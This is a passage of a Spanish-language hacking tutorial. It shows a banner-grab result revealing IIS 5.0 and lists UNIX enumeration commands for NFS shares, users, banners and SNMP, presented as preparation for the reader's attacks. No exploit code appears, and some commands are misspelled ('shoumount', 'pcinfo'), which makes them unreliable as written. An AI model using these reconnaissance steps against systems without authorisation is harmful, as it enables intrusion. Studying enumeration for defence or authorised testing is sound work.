# Content.Legtnh: 87 #

# #

# <html><head><title>error</title></head></html> #

# #

# Connection to host lost. #

# #

#########################################################

Como vemos en el ejemplo la aplicación el puerto 80 es el web server IIS5.0 de Microsoft. Si tenemos algun exploit para esta version podemos utilizarlo para explotar alguna vulnerabilidad.

#########################################################

Enumeracion en UNIX :

Bueno ahora voy a explicar un poco como hacer enumeracion desde linux.Como sabemos los sistemas operativos UNIX/LINUX basan sus funciones de red bajo el protocolo TCP/IP. Por lo tanto la informacion que provee es u poco más limitada que la de NETBIOS en el caso windoze lo que no significa que no se pueda hacer enumeracion, pero el tema pasa primero por conocer las tecnicas de administracion de estos sistemas que son bastantes y amplias de explicar pero les dejo algunas cosas interesantes para buscar y leer. Remote Procedure Call (RPC) , Network File System (NFS). Por ejemplo si la maquina tiene el puerto activo 2049, es porque esta compartiendo directorios bajo NFS.

Enumeraciones Posibles en sistemas UNIX.

Al igual que en el caso de windows voy a tratar de dejarles algunas herramientas para hacer este trabajo.

1.Enumeracion de recursos compartidos y de red:

>>shoumount -e 190.160.0.5

2.Enumeracion de usuarios

>finger,rwho,rusers,telnet,tftp

3.De aplicaciones mediante banner grabbing

>>pcinfo, nmap

4.Enumeracion SNMP

>>snmpwalk

Bueno la utilizacion de estas herramientas las pueden consultar en los manuales correspondientes y ponerlas en practica .

Por ej:

>>man finger

Bueno en e proximo manual se trataran los temas.

Hack NT,Win2k, 2.003

Un Poco de wireless hacking

Utilizando nmap

Netcat

Espero que se aprendan bien estas tecnicas para estar seguros de lo que van a hacer en sus ataques, aunque esto parezca mucha teoria y poca practica, no es asi sabiendo todo esto podemos practicar y saber con que nos enfrentamos .

Agradecimientos desde aqui a www.hackersdelocos.com.ar